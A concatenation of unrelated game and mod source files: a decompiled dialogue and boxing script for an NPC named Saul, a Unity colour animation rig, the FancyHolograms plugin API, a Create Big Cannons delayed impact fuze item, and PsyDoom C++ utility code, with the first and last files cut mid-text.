(SubtypeWEP == 1) then begin call Saul06; end else begin start_gdialog(528, self_obj, 4, -1, -1); gsay_start; if (global_var(169)) then begin call Saul23; end else begin call Saul07; end gsay_end; end_dialogue; end end end end if (not(global_var(557) bwand 32) and (global_var(557) bwand 8) and (global_var(557) bwand 16)) then begin set_global_var(557, global_var(557) + 32); display_msg(message_str(342, 173)); set_global_var(155, global_var(155) + 2); give_exp_points(250); end end procedure timed_event_p_proc begin if (challenger_ptr != 0) then begin if (fixed_param == 1) then begin if (obj_pid(challenger_ptr) == 16777227) then begin if (random(0, 4) == 0) then begin whose_turn := 1; end else begin whose_turn := 0; end end else begin if (random(0, 2)) then begin whose_turn := 1; end else begin whose_turn := 0; end end call SaulBoxing; end else begin if (fixed_param == 2) then begin Saul_wins := 1; end else begin if (fixed_param == 3) then begin Saul_loses := 1; set_local_var(8, 1); end end end end end procedure damage_p_proc begin if source_obj > 0 then begin SrcObj := 0; SrcIsParty := 0; SrcObj := obj_pid(source_obj); if party_member_obj(SrcObj) then begin SrcIsParty := 1; end end if (source_obj == dude_obj) or (SrcIsParty == 1) then begin set_global_var(247, 1); end end procedure create_challenger begin challenger_ptr := random(0, 4); if (challenger_ptr == 4) then begin challenger_ptr := create_object_sid(16777226, 0, 0, 963); end else begin if (challenger_ptr == 3) then begin challenger_ptr := create_object_sid(16777227, 0, 0, 963); end else begin if (challenger_ptr == 2) then begin challenger_ptr := create_object_sid(16777238, 0, 0, 963); end else begin if (challenger_ptr == 1) then begin challenger_ptr := create_object_sid(16777218, 0, 0, 963); end else begin if (challenger_ptr == 0) then begin challenger_ptr := create_object_sid(16777243, 0, 0, 963); end end end end end critter_attempt_placement(challenger_ptr, tile_num_in_direction(tile_num(self_obj), 1, 1), 0); anim(challenger_ptr, 1000, 4); end procedure sleeping begin if (local_var(4) == 1) then begin if (not(night_person) and (game_time_hour >= wake_time) and (game_time_hour < sleep_time) or (night_person and ((game_time_hour >= wake_time) or (game_time_hour < sleep_time)))) then begin if (((game_time_hour - wake_time) < 10) and ((game_time_hour - wake_time) > 0)) then begin if (tile_num(self_obj) != home_tile) then begin animate_move_obj_to_tile(self_obj, home_tile, 0); end else begin set_local_var(4, 0); end end else begin move_to(self_obj, home_tile, elevation(self_obj)); if (tile_num(self_obj) == home_tile) then begin set_local_var(4, 0); end end end end else begin if (night_person and (game_time_hour >= sleep_time) and (game_time_hour < wake_time) or (not(night_person) and ((game_time_hour >= sleep_time) or (game_time_hour < wake_time)))) then begin if (((game_time_hour - sleep_time) < 10) and ((game_time_hour - sleep_time) > 0)) then begin if (tile_num(self_obj) != sleep_tile) then begin animate_move_obj_to_tile(self_obj, self_obj, 0); end else begin set_local_var(4, 1); end end else begin if (tile_num(self_obj) != sleep_tile) then begin move_to(self_obj, sleep_tile, elevation(self_obj)); end else begin set_local_var(4, 1); end end end end end procedure Saul06 begin float_msg(self_obj, message_str(528, 104), 2); end procedure Saul07 begin set_global_var(169, 1); if (local_var(1) == 1) then begin gsay_reply(528, 105); end else begin gsay_reply(528, 106); end giq_option(4, 528, 107, Saul08, 50); giq_option(4, 528, 108, Saul09, 51); giq_option(4, 528, message_str(528, 109) + proto_data(obj_pid(dude_obj), 1) + message_str(528, 110), Saul09, 50); end procedure Saul08 begin gsay_reply(528, 111); giq_option(4, 528, 112, Saul09, 51); giq_option(4, 528, 113, Saul11, 50); giq_option(4, 528, 103, SaulEnd, 50); end procedure Saul09 begin if (local_var(1) == 1) then begin gsay_reply(528, 128); end else begin gsay_reply(528, 129); end if (local_var(1) == 1) then begin giq_option(4, 528, 130, Saul10, 50); giq_option(4, 528, 188, SaulCombat, 51); end giq_option(4, 528, 131, Saul10, 50); if (local_var(1) == 3) then begin giq_option(4, 528, 135, Saul11, 50); end giq_option(4, 528, 132, SaulEnd, 50); end procedure Saul10 begin if (local_var(1) == 1) then begin gsay_reply(528, 133); end else begin gsay_reply(528, 134); end giq_option(4, 528, 135, Saul11, 50); giq_option(4, 528, 136, Saul12, 49); giq_option(4, 528, 132, SaulEnd, 50); end procedure Saul11 begin gsay_reply(528, 137); giq_option(4, 528, 136, Saul12, 49); if (not(local_var(5))) then begin giq_option(4, 528, 138, Saul13, 50); end if (not(local_var(6))) then begin giq_option(4, 528, 139, Saul14, 50); end call Goodbyes; giq_option(4, 528, exit_line, SaulEnd, 50); end procedure Saul12 begin call UpReact; if (local_var(1) == 1) then begin gsay_reply(528, 140); end else begin gsay_reply(528, 141); giq_option(5, 528, 142, Saul15, 49); end giq_option(4, 528, 143, Saul13, 50); giq_option(4, 528, 144, Saul14, 50); call Goodbyes; giq_option(4, 528, exit_line, SaulEnd, 50); end procedure Saul13 begin set_local_var(5, 1); gsay_reply(528, 145); giq_option(4, 528, 146, Saul19, 50); giq_option(4, 528, 147, Saul14, 50); call Goodbyes; giq_option(4, 528, exit_line, SaulEnd, 50); end procedure Saul14 begin set_local_var(6, 1); gsay_reply(528, 148); if (not(local_var(5))) then begin giq_option(4, 528, 149, Saul13, 50); end call Goodbyes; giq_option(4, 528, exit_line, SaulEnd, 50); end procedure Saul15 begin set_local_var(7, 1); gsay_reply(528, 150); giq_option(4, 528, 151, Saul17, 50); giq_option(4, 528, 152, Saul18, 50); if (get_critter_stat(dude_obj, 4) >= 6) then begin giq_option(6, 528, 153, Saul16, 49); end else begin call Goodbyes; giq_option(4, 528, exit_line, SaulEnd, 50); end giq_option(6, 528, 154, Saul24, 50); end procedure Saul16 begin call UpReact; gsay_reply(528, 155); giq_option(4, 528, 156, Saul18, 50); call Goodbyes; giq_option(4, 528, exit_line, SaulEnd, 50); end procedure Saul17 begin set_global_var(169, 2); gsay_reply(528, 157); giq_option(4, 528, 158, Saul18, 50); if ((global_var(557) bwand 1) or (global_var(557) bwand 4) and not(global_var(557) bwand 64)) then begin giq_option(5, 528, 159, Saul20, 50); end call Goodbyes; giq_option(4, 528, exit_line, SaulEnd, 50); end procedure Saul18 begin if (local_var(1) < 2) then begin gsay_reply(528, 160); end else begin gsay_reply(528, 161); end if (not(local_var(5))) then begin giq_option(4, 528, 162, Saul13, 50); end if (not(local_var(6))) then begin giq_option(4, 528, 163, Saul14, 50); end giq_option(4, 528, 164, Saul18a, 51); giq_option(4, 528, 165, SaulEnd, 50); end procedure Saul18a begin set_local_var(1, 1); call LevelToReact; call Saul09; end procedure Saul19 begin gsay_reply(528, 166); giq_option(4, 528, 168, Saul18, 50); if (get_critter_stat(dude_obj, 4) >= 6) then begin giq_option(6, 528, 167, UpReact, 49); end else begin call Goodbyes; giq_option(4, 528, 169, SaulEnd, 50); end end procedure Saul20 begin set_global_var(169, 2); if (local_var(1) == 1) then begin gsay_reply(528, 169); end else begin if (is_success(roll_vs_skill(dude_obj, 14, 0))) then begin gsay_reply(528, message_str(528, 170) + message_str(528, 171)); if ((global_var(557) bwand 2) or (global_var(557) bwand 8)) then begin if (get_critter_stat(dude_obj, 4) >= 6) then begin giq_option(6, 528, 172, Saul21, 49); end else begin giq_option(4, 528, 173, Saul22, 50); end end end else begin gsay_reply(528, message_str(528, 170)); end end giq_option(4, 528, 174, Saul18, 50); giq_option(4, 528, 175, SaulEnd, 50); end procedure Saul21 begin call UpReact; if (not(global_var(557) bwand 16)) then begin set_global_var(557, global_var(557) + 16); end gsay_message(528, 176, 49); end procedure Saul22 begin if (is_success(roll_vs_skill(dude_obj, 14, 0))) then begin call Saul21; end else begin gsay_reply(528, 177); giq_option(4, 528, 178, Saul18, 50); giq_option(4, 528, 179, SaulEnd, 50); end end procedure Saul23 begin if (local_var(1) < 2) then begin gsay_reply(528, 180); end else begin gsay_reply(528, 181); end giq_option(4, 528, 182, Saul09, 51); if ((global_var(557) bwand 1) or (global_var(557) bwand 4) and ((global_var(557) bwand 2) or (global_var(557) bwand 8)) and not(global_var(557) bwand 16) and not(global_var(557) bwand 64)) then begin giq_option(4, 528, 183, Saul20, 50); end if (not(local_var(5))) then begin giq_option(4, 528, 184, Saul13, 50); end call Goodbyes; giq_option(4, 528, exit_line, SaulEnd, 50); end procedure Saul24 begin gsay_reply(528, 185); giq_option(4, 528, 186, SaulEnd, 50); giq_option(4, 528, 187, Saul18, 50); end procedure SaulBoxing begin reg_anim_func(2, self_obj); reg_anim_func(2, challenger_ptr); if (whose_turn == 1) then begin reg_anim_func(1, 1); reg_anim_animate(self_obj, 16, -1); if (is_success(roll_vs_skill(self_obj, 3, 0))) then begin if (challenger_hits >= (get_critter_stat(challenger_ptr, 2) * 2)) then begin reg_anim_animate(challenger_ptr, 20, 4); reg_anim_animate(challenger_ptr, 48, -1); add_timer_event(self_obj, game_ticks(2), 2); end else begin reg_anim_animate(challenger_ptr, 14, 4); challenger_hits := challenger_hits + 1; add_timer_event(self_obj, game_ticks(random(1, 2)), 1); end end else begin reg_anim_animate(challenger_ptr, 13, 4); add_timer_event(self_obj, game_ticks(random(1, 2)), 1); end reg_anim_func(3, 0); end else begin reg_anim_func(1, 1); reg_anim_animate(challenger_ptr, 16, -1); if (is_success(roll_vs_skill(challenger_ptr, 3, 0))) then begin if (Saul_hits >= (get_critter_stat(self_obj, 2) * 2)) then begin reg_anim_animate(self_obj, 20, 4); reg_anim_animate(self_obj, 48, -1); add_timer_event(self_obj, game_ticks(2), 3); end else begin reg_anim_animate(self_obj, 14, 4); Saul_hits := Saul_hits + 1; add_timer_event(self_obj, game_ticks(random(1, 2)), 1); end end else begin reg_anim_animate(self_obj, 13, 4); add_timer_event(self_obj, game_ticks(random(1, 2)), 1); end reg_anim_func(3, 0); end end procedure SaulCombat begin HOSTILE := 1; end procedure SaulEnd begin end procedure get_reaction begin if (local_var(2) == 0) then begin set_local_var(0, 50); set_local_var(1, 2); set_local_var(2, 1); set_local_var(0, local_var(0) + (5 * get_critter_stat(dude_obj, 3)) - 25); set_local_var(0, local_var(0) + (10 * has_trait(0, dude_obj, 10))); if (has_trait(0, dude_obj, 39)) then begin if (global_var(155) > 0) then begin set_local_var(0, local_var(0) + global_var(155)); end else begin set_local_var(0, local_var(0) - global_var(155)); end end else begin if (local_var(3) == 1) then begin set_local_var(0, local_var(0) - global_var(155)); end else begin set_local_var(0, local_var(0) + global_var(155)); end end if (global_var(158) >= global_var(545)) then begin set_local_var(0, local_var(0) - 30); end if (((global_var(160) + global_var(159)) >= 25) and ((global_var(160) > (3 * global_var(159))) or (global_var(157) == 1))) then begin set_local_var(0, local_var(0) + 20); end if (((global_var(160) + global_var(159)) >= 25) and ((global_var(159) > (2 * global_var(160))) or (global_var(317) == 1))) then begin set_local_var(0, local_var(0) - 20); end call ReactToLevel; end end procedure ReactToLevel begin if (local_var(0) <= 25) then begin set_local_var(1, 1); end else begin if (local_var(0) <= 75) then begin set_local_var(1, 2); end else begin set_local_var(1, 3); end end end procedure LevelToReact begin if (local_var(1) == 1) then begin set_local_var(0, random(1, 25)); end else begin if (local_var(1) == 2) then begin set_local_var(0, random(26, 75)); end else begin set_local_var(0, random(76, 100)); end end end procedure UpReact begin set_local_var(0, local_var(0) + 10); call ReactToLevel; end procedure DownReact begin set_local_var(0, local_var(0) - 10); call ReactToLevel; end procedure BottomReact begin set_local_var(1, 1); set_local_var(0, 1); end procedure TopReact begin set_local_var(0, 100); set_local_var(1, 3); end procedure BigUpReact begin set_local_var(0, local_var(0) + 25); call ReactToLevel; end procedure BigDownReact begin set_local_var(0, local_var(0) - 25); call ReactToLevel; end procedure UpReactLevel begin set_local_var(1, local_var(1) + 1); if (local_var(1) > 3) then begin set_local_var(1, 3); end call LevelToReact; end procedure DownReactLevel begin set_local_var(1, local_var(1) - 1); if (local_var(1) < 1) then begin set_local_var(1, 1); end call LevelToReact; end procedure Goodbyes begin exit_line := message_str(634, random(100, 105)); end
0
0.826748
1
0.826748
game-dev
MEDIA
0.937372
game-dev
0.894811
1
0.894811
peeweek/net.peeweek.gameplay-ingredients
1,290
Runtime/Ingredients/Rigs/GenericAnimation/GenericColorAnimationRig.cs
using NaughtyAttributes; using System; using UnityEngine; namespace GameplayIngredients.Rigs { public class GenericColorAnimationRig : GenericAnimationRig { [Header("Base Value")] [SerializeField] bool useStoredValueAsBase = true; [SerializeField, DisableIf("useStoredValueAsBase")] Color baseValue = Color.white; [Header("Animation")] [SerializeReference, HandlerType(typeof(Color))] public ColorAnimationHandler animationHandler = new ColorGradientAnimationHandler(); public override Type animatedType => typeof(Color); private void Awake() { if (useStoredValueAsBase) baseValue = (Color)property.GetValue(); } protected override void OnEnable() { base.OnEnable(); animationHandler?.OnStart(baseValue); } protected override object UpdateAndGetValue(float deltaTime) { if (animationHandler != null) { return animationHandler.OnUpdate(deltaTime); } else { Debug.LogWarning("Float Animation Rig has no Animation Handler", this); return baseValue; } } } }
0
0.903557
1
0.903557
game-dev
MEDIA
0.920282
game-dev
0.940649
1
0.940649
IrisShaders/Iris
2,359
common/src/main/java/net/irisshaders/iris/gui/debug/DebugLoadFailedGridScreen.java
package net.irisshaders.iris.gui.debug; import net.irisshaders.iris.Iris; import net.minecraft.client.Minecraft; import net.minecraft.client.gui.components.Button; import net.minecraft.client.gui.layouts.FrameLayout; import net.minecraft.client.gui.layouts.GridLayout; import net.minecraft.client.gui.layouts.LayoutSettings; import net.minecraft.client.gui.screens.Screen; import net.minecraft.network.chat.Component; import org.apache.commons.lang3.exception.ExceptionUtils; import java.io.IOException; public class DebugLoadFailedGridScreen extends Screen { private final Exception exception; private final Screen parent; public DebugLoadFailedGridScreen(Screen parent, Component arg, Exception exception) { super(arg); this.parent = parent; this.exception = exception; } @Override protected void init() { super.init(); GridLayout widget = new GridLayout(); LayoutSettings layoutSettings = widget.newCellSettings().alignVerticallyTop().alignHorizontallyCenter(); LayoutSettings layoutSettings4 = widget.newCellSettings().alignVerticallyTop().paddingTop(30).alignHorizontallyCenter(); LayoutSettings layoutSettings2 = widget.newCellSettings().alignVerticallyTop().paddingTop(30).alignHorizontallyLeft(); LayoutSettings layoutSettings3 = widget.newCellSettings().alignVerticallyTop().paddingTop(30).alignHorizontallyRight(); int numWidgets = 0; widget.addChild(new DebugTextWidget(0, 0, this.width - 80, font.lineHeight * 15, font, exception), ++numWidgets, 0, 1, 2, layoutSettings); widget.addChild(Button.builder(Component.translatable("menu.returnToGame"), arg2 -> this.minecraft.setScreen(parent)).width(100).build(), ++numWidgets, 0, 1, 2, layoutSettings2); widget.addChild(Button.builder(Component.literal("Reload pack"), arg2 -> { Minecraft.getInstance().setScreen(parent); try { Iris.reload(); } catch (IOException e) { throw new RuntimeException(e); } }).width(100).build(), numWidgets, 0, 1, 2, layoutSettings3); widget.addChild(Button.builder(Component.literal("Copy error"), arg2 -> this.minecraft.keyboardHandler.setClipboard(ExceptionUtils.getStackTrace(exception))).width(100).build(), numWidgets, 0, 1, 2, layoutSettings4); widget.arrangeElements(); FrameLayout.centerInRectangle(widget, 0, 0, this.width, this.height); widget.visitWidgets(this::addRenderableWidget); } }
0
0.89937
1
0.89937
game-dev
MEDIA
0.59934
game-dev
0.913428
1
0.913428
openclonk/openclonk
1,393
planet/Objects.ocd/Items.ocd/Weapons.ocd/Bow.ocd/BombArrow.ocd/Script.c
/* Bomb Arrow Same as an arrow but explodes on impact. Overloads from the arrow script and implements additional features. @author Maikel */ #include Arrow // Callback from the hitcheck effect: explode on impact with target. public func HitObject(object obj) { // First let the normal arrow hit with reduced damage take place, then explode for additonal damage. _inherited(obj, ...); // Explosion strength a little random with only a small radius. return Explode(14 + Random(3)); } // Callback on hit: explode on impact with landscape. public func Hit() { // Only explode on impact with the landscape if the object was in flight. // Explosion strength a little random with only a small radius. if (GetEffect("InFlight", this)) return Explode(12 + Random(3)); return; } // Determines the arrow strength: only 30% that of the normal arrow. public func ArrowStrength() { return 3; } public func HasExplosionOnImpact() { return !!GetEffect("InFlight", this); } public func IsExplosive() { return true; } private func OnBurnDown() { // Got burned? Explode based on stack size. Explode(10 + Random(3) + 23 * GetStackCount() / MaxStackCount()); _inherited(...); return true; // Do not create burned object } /*-- Properties --*/ local Name = "$Name$"; local Description = "$Description$"; local Collectible = 1; local Components = {Wood = 3, Metal = 1, Firestone = 2};
0
0.735014
1
0.735014
game-dev
MEDIA
0.846187
game-dev
0.603037
1
0.603037
FancyInnovations/FancyPlugins
2,159
plugins/fancyholograms/fh-api/src/main/java/com/fancyinnovations/fancyholograms/api/FancyHolograms.java
package com.fancyinnovations.fancyholograms.api; import de.oliver.fancyanalytics.logger.ExtendedFancyLogger; import com.fancyinnovations.fancyholograms.api.data.HologramData; import com.fancyinnovations.fancyholograms.api.hologram.Hologram; import com.fancyinnovations.fancyholograms.api.trait.HologramTraitRegistry; import org.bukkit.Bukkit; import org.bukkit.plugin.Plugin; import org.bukkit.plugin.java.JavaPlugin; import org.jetbrains.annotations.ApiStatus; import java.util.concurrent.ScheduledExecutorService; import java.util.function.Function; public interface FancyHolograms { static FancyHolograms get() { if (isEnabled()) { return EnabledChecker.getPlugin(); } throw new NullPointerException("Plugin is not enabled"); } static boolean isEnabled() { return EnabledChecker.isFancyHologramsEnabled(); } JavaPlugin getPlugin(); ExtendedFancyLogger getFancyLogger(); HologramConfiguration getHologramConfiguration(); @ApiStatus.Internal Function<HologramData, Hologram> getHologramFactory(); ScheduledExecutorService getHologramThread(); HologramRegistry getRegistry(); HologramController getController(); @ApiStatus.Experimental HologramTraitRegistry getTraitRegistry(); class EnabledChecker { private static Boolean enabled; private static FancyHolograms plugin; public static Boolean isFancyHologramsEnabled() { if (enabled != null) return enabled; Plugin pl = Bukkit.getPluginManager().getPlugin("FancyHolograms"); if (pl != null && pl.isEnabled()) { try { plugin = (FancyHolograms) pl; } catch (ClassCastException e) { throw new IllegalStateException("API failed to access plugin, if using the FancyHolograms API make sure to set the dependency to compile only."); } enabled = true; return true; } return false; } public static FancyHolograms getPlugin() { return plugin; } } }
0
0.701393
1
0.701393
game-dev
MEDIA
0.32297
game-dev
0.769706
1
0.769706
Cannoneers-of-Create/CreateBigCannons
5,458
src/main/java/rbasamoyai/createbigcannons/munitions/fuzes/DelayedImpactFuzeItem.java
package rbasamoyai.createbigcannons.munitions.fuzes; import java.util.List; import com.simibubi.create.foundation.item.TooltipHelper; import com.simibubi.create.foundation.utility.CreateLang; import net.minecraft.nbt.CompoundTag; import net.minecraft.network.chat.Component; import net.minecraft.network.chat.MutableComponent; import net.minecraft.network.chat.Style; import net.minecraft.server.level.ServerPlayer; import net.minecraft.world.InteractionHand; import net.minecraft.world.InteractionResultHolder; import net.minecraft.world.MenuProvider; import net.minecraft.world.entity.player.Inventory; import net.minecraft.world.entity.player.Player; import net.minecraft.world.inventory.AbstractContainerMenu; import net.minecraft.world.item.ItemStack; import net.minecraft.world.item.TooltipFlag; import net.minecraft.world.level.Level; import net.minecraft.world.phys.HitResult; import rbasamoyai.createbigcannons.CreateBigCannons; import rbasamoyai.createbigcannons.base.CBCTooltip; import rbasamoyai.createbigcannons.config.CBCConfigs; import rbasamoyai.createbigcannons.index.CBCItems; import rbasamoyai.createbigcannons.index.CBCMenuTypes; import rbasamoyai.createbigcannons.munitions.AbstractCannonProjectile; import rbasamoyai.createbigcannons.munitions.AbstractCannonProjectile.ImpactResult; public class DelayedImpactFuzeItem extends FuzeItem implements MenuProvider { public DelayedImpactFuzeItem(Properties properties) { super(properties); } @Override public InteractionResultHolder<ItemStack> use(Level level, Player player, InteractionHand hand) { if (player instanceof ServerPlayer && player.mayBuild()) { ItemStack stack = player.getItemInHand(hand); CompoundTag tag = stack.getOrCreateTag(); if (!tag.contains("FuzeTimer")) { tag.putInt("FuzeTimer", 20); } int timer = tag.getInt("FuzeTimer"); CBCMenuTypes.SET_DELAYED_IMPACT_FUZE.open((ServerPlayer) player, this.getDisplayName(), this, buf -> { buf.writeVarInt(timer); buf.writeItem(new ItemStack(this)); }); } return super.use(level, player, hand); } @Override public AbstractContainerMenu createMenu(int windowId, Inventory playerInv, Player player) { ItemStack stack = player.getMainHandItem(); return DelayedImpactFuzeContainer.getServerMenu(windowId, playerInv, stack); } @Override public Component getDisplayName() { return this.getDescription(); } @Override public boolean onProjectileImpact(ItemStack stack, AbstractCannonProjectile projectile, HitResult hitResult, ImpactResult impactResult, boolean baseFuze) { if (baseFuze || impactResult.shouldRemove()) return false; CompoundTag tag = stack.getOrCreateTag(); int damage = tag.contains("Damage") ? tag.getInt("Damage") : this.getFuzeDurability(); if (damage > 0 && !tag.contains("Activated")) { --damage; tag.putInt("Damage", damage); float f = this.getDetonateChance(); if (f > 0 && projectile.level().getRandom().nextFloat() < f) { tag.putBoolean("Activated", true); } } return false; } @Override public boolean onProjectileTick(ItemStack stack, AbstractCannonProjectile projectile) { CompoundTag tag = stack.getOrCreateTag(); if (!tag.contains("Activated")) return false; if (!tag.contains("FuzeTimer")) return true; int timer = tag.getInt("FuzeTimer"); --timer; tag.putInt("FuzeTimer", timer); return timer <= 0; } @Override public boolean onProjectileExpiry(ItemStack stack, AbstractCannonProjectile projectile) { return true; } @Override public void appendHoverText(ItemStack stack, Level level, List<Component> tooltip, TooltipFlag flag) { super.appendHoverText(stack, level, tooltip, flag); CBCTooltip.appendImpactFuzeText(stack, level, tooltip, flag, this.getDetonateChance(), this.getFuzeDurability()); int time = stack.getOrCreateTag().getInt("FuzeTimer"); int seconds = time / 20; int ticks = time - seconds * 20; tooltip.add(CreateLang.builder("item") .translate(CreateBigCannons.MOD_ID + ".timed_fuze.tooltip.shell_info.item", seconds, ticks) .component()); } protected float getDetonateChance() { return CBCConfigs.server().munitions.impactFuzeDetonationChance.getF(); } protected int getFuzeDurability() { return CBCConfigs.server().munitions.impactFuzeDurability.get(); } @Override public boolean canLingerInGround(ItemStack stack, AbstractCannonProjectile projectile) { return stack.getOrCreateTag().contains("Activated"); } @Override public void addExtraInfo(List<Component> tooltip, boolean isSneaking, ItemStack stack) { super.addExtraInfo(tooltip, isSneaking, stack); MutableComponent info = CreateLang.builder("item") .translate(CreateBigCannons.MOD_ID + ".delayed_impact_fuze.tooltip.shell_info.chance", (int) (this.getDetonateChance() * 100.0f)) .component(); tooltip.addAll(TooltipHelper.cutTextComponent(info, Style.EMPTY, Style.EMPTY, 6)); int time = stack.getOrCreateTag().getInt("FuzeTimer"); int seconds = time / 20; int ticks = time - seconds * 20; MutableComponent info1 = CreateLang.builder("item") .translate(CreateBigCannons.MOD_ID + ".timed_fuze.tooltip.shell_info", seconds, ticks) .component(); tooltip.addAll(TooltipHelper.cutTextComponent(info1, Style.EMPTY, Style.EMPTY, 6)); } public static ItemStack getCreativeTabItem(int defaultFuze) { ItemStack stack = CBCItems.DELAYED_IMPACT_FUZE.asStack(); stack.getOrCreateTag().putInt("FuzeTimer", defaultFuze); return stack; } }
0
0.915842
1
0.915842
game-dev
MEDIA
0.996664
game-dev
0.921546
1
0.921546
BodbDearg/PsyDoom
19,680
game/PsyDoom/Utils.cpp
#include "Utils.h" #include "Config/Config.h" #include "Controls.h" #include "DiscInfo.h" #include "DiscReader.h" #include "Doom/Game/p_tick.h" #include "Doom/UI/st_main.h" #include "FatalErrors.h" #include "Input.h" #include "IsoFileSys.h" #include "Network.h" #include "PlayerPrefs.h" #include "ProgArgs.h" #include "PsxVm.h" #include "Video.h" #include "Vulkan/VDrawing.h" #include "Vulkan/VRenderer.h" #include "Vulkan/VTypes.h" #include "Wess/psxcd.h" #include "Wess/psxspu.h" #include "Wess/wessapi.h" #include "Wess/wessseq.h" #include <chrono> #include <md5.h> #include <SDL.h> #include <thread> BEGIN_NAMESPACE(Utils) static constexpr const char* const SAVE_FILE_ORG = "com.codelobster"; // Root folder to save config in (in a OS specific writable prefs location) static constexpr const char* const SAVE_FILE_PRODUCT = "PsyDoom"; // Sub-folder within the root folder to save the config in // Because typing this is a pain... typedef std::chrono::high_resolution_clock::time_point timepoint_t; // When we last did platform updates static timepoint_t gLastPlatformUpdateTime = {}; //------------------------------------------------------------------------------------------------------------------------------------------ // Gets the game version string. // This is used for the window title. //------------------------------------------------------------------------------------------------------------------------------------------ const char* getGameVersionString() noexcept { #ifdef GAME_VERSION_STR return "PsyDoom " GAME_VERSION_STR; #else return "PsyDoom <UNKNOWN_VERSION>"; #endif } //------------------------------------------------------------------------------------------------------------------------------------------ // A custom handler for fatal errors and installing and uninstalling it //------------------------------------------------------------------------------------------------------------------------------------------ static void fatalErrorHandler(const char* const msg) noexcept { // Kill the current window and show a GUI error box, except if in headless mode if (ProgArgs::gbHeadlessMode) return; // Only handle 1 fatal error in case further errors are raised while shutting down video! static bool bDidHandleFatalError = false; if (bDidHandleFatalError) return; bDidHandleFatalError = true; Video::shutdownVideo(); SDL_ShowSimpleMessageBox(SDL_MESSAGEBOX_ERROR, "A fatal error has occurred!", msg, nullptr); } void installFatalErrorHandler() noexcept { FatalErrors::gFatalErrorHandler = fatalErrorHandler; } void uninstallFatalErrorHandler() noexcept { FatalErrors::gFatalErrorHandler = nullptr; } //------------------------------------------------------------------------------------------------------------------------------------------ // Get the folder that PsyDoom uses for user config and save data. // If the folder does not exist then it is created, and if that fails a fatal error is issued. // The Path is returned with a trailing path separator, so can be combined with a file name without any other modifications. //------------------------------------------------------------------------------------------------------------------------------------------ std::string getOrCreateUserDataFolder() noexcept { char* const pCfgFilePath = SDL_GetPrefPath(SAVE_FILE_ORG, SAVE_FILE_PRODUCT); if (!pCfgFilePath) { FatalErrors::raise("Unable to create or determine the user data folder (config/save folder) for PsyDoom!"); } std::string path = pCfgFilePath; SDL_free(pCfgFilePath); return path; } //------------------------------------------------------------------------------------------------------------------------------------------ // Run update actions that have to be done periodically, including running the window and processing sound //------------------------------------------------------------------------------------------------------------------------------------------ void doPlatformUpdates() noexcept { // In headless mode we can skip this entirely if (ProgArgs::gbHeadlessMode) return; // Always generate timer events and update the music sequencer. // Note that for PsyDoom the sequencer is now manually updated here and it now uses a delta time rather than a fixed increment PsxVm::generateTimerEvents(); if (gbWess_SeqOn) { SeqEngine(); } // Only do these updates if enough time has elapsed. // Do this to prevent excessive CPU usage in loops that are periodically trying to update sound etc. while waiting for some event. const timepoint_t now = std::chrono::high_resolution_clock::now(); if (now - gLastPlatformUpdateTime < std::chrono::milliseconds(4)) return; // Actually do the platform updates gLastPlatformUpdateTime = now; Network::doUpdates(); Input::update(); } //------------------------------------------------------------------------------------------------------------------------------------------ // Wait for a condition to be true and only abort if the condition is met or if the user has requested an app quit. // Returns 'true' if the condition was met, or 'false' if aborted due to a user quit or because the game is in headless mode. // While we are waiting video and the window are updated, so the application does not freeze and can be quit. //------------------------------------------------------------------------------------------------------------------------------------------ template <class T> static bool waitForCond(const T& condLamba) noexcept { // We never wait in headless mode if (ProgArgs::gbHeadlessMode) return false; while (true) { // Is the condition now true? if (condLamba()) return true; // Abort because the user asked for an app quit? if (Input::isQuitRequested()) return false; // Ok have to wait for a bit, do platform updates and a refresh of the display. // Refreshing the display helps prevent a brief (temporary) stutter issue after long pauses - I'm not sure why, maybe an SDL bug? // Doing a vsync'd present also reduces idle CPU usage a lot more than a spinning loop with thread yield. // // Vulkan backend: this causes issues with certain things like crossfade, which rely on previous framebuffers. // Don't do this if we are outputting via Vulkan. if (Video::gBackendType != Video::BackendType::Vulkan) { Video::displayFramebuffer(); } Utils::threadYield(); doPlatformUpdates(); } // Should never get here! return false; } //------------------------------------------------------------------------------------------------------------------------------------------ // Wait for a number of seconds while still doing platform updates; returns 'false' if wait was aborted //------------------------------------------------------------------------------------------------------------------------------------------ bool waitForSeconds(const float seconds) noexcept { const clock_t startTime = clock(); return waitForCond([&]() noexcept { const clock_t now = clock(); const double elapsed = (double)(now - startTime) / (double) CLOCKS_PER_SEC; return (elapsed >= seconds); }); } //------------------------------------------------------------------------------------------------------------------------------------------ // Implements an original PSX Doom wait loop with tweaks for PC to keep the app responsive; returns 'false' if the wait was aborted. // Waits until at least 1 CD audio sector has been read before continuing. //------------------------------------------------------------------------------------------------------------------------------------------ bool waitForCdAudioPlaybackStart() noexcept { return waitForCond([]() noexcept { // PsyDoom: skip the wait if there isn't a valid track playing. // Also avoid an infinite wait if we don't have a valid audio output device, since CD audio will never be consumed in that case. #if PSYDOOM_MODS return ( (PsxVm::gDiscInfo.getTrack(psxcd_get_playing_track()) == nullptr) || (psxcd_elapsed_sectors() != 0) || (!PsxVm::haveAudioOutputDevice()) ); #else return (psxcd_elapsed_sectors() != 0); #endif }); } //------------------------------------------------------------------------------------------------------------------------------------------ // Implements an original PSX Doom wait loop with tweaks for PC to keep the app responsive; returns 'false' if the wait was aborted. // Waits until a specified music or sound sequence has exited the specified status or the application is quitting. //------------------------------------------------------------------------------------------------------------------------------------------ bool waitUntilSeqEnteredStatus(const int32_t sequenceIdx, const SequenceStatus status) noexcept { return waitForCond([=]() noexcept { return (wess_seq_status(sequenceIdx) == status); }); } //------------------------------------------------------------------------------------------------------------------------------------------ // Implements an original PSX Doom wait loop with tweaks for PC to keep the app responsive; returns 'false' if the wait was aborted. // Waits until a specified music or sound sequence has exited the specified status or the application is quitting. //------------------------------------------------------------------------------------------------------------------------------------------ bool waitUntilSeqExitedStatus(const int32_t sequenceIdx, const SequenceStatus status) noexcept { return waitForCond([=]() noexcept { return (wess_seq_status(sequenceIdx) != status); }); } //------------------------------------------------------------------------------------------------------------------------------------------ // Implements an original PSX Doom wait loop with tweaks for PC to keep the app responsive; returns 'false' if the wait was aborted. // Waits until at CD audio has finished fading out. //------------------------------------------------------------------------------------------------------------------------------------------ bool waitForCdAudioFadeOut() noexcept { return waitForCond([=]() noexcept { return (!psxspu_get_cd_fade_status()); }); } //------------------------------------------------------------------------------------------------------------------------------------------ // Yield some CPU time to the host machine //------------------------------------------------------------------------------------------------------------------------------------------ void threadYield() noexcept { std::this_thread::yield(); } //------------------------------------------------------------------------------------------------------------------------------------------ // Does some setup for UI drawing if using the new Vulkan based renderer 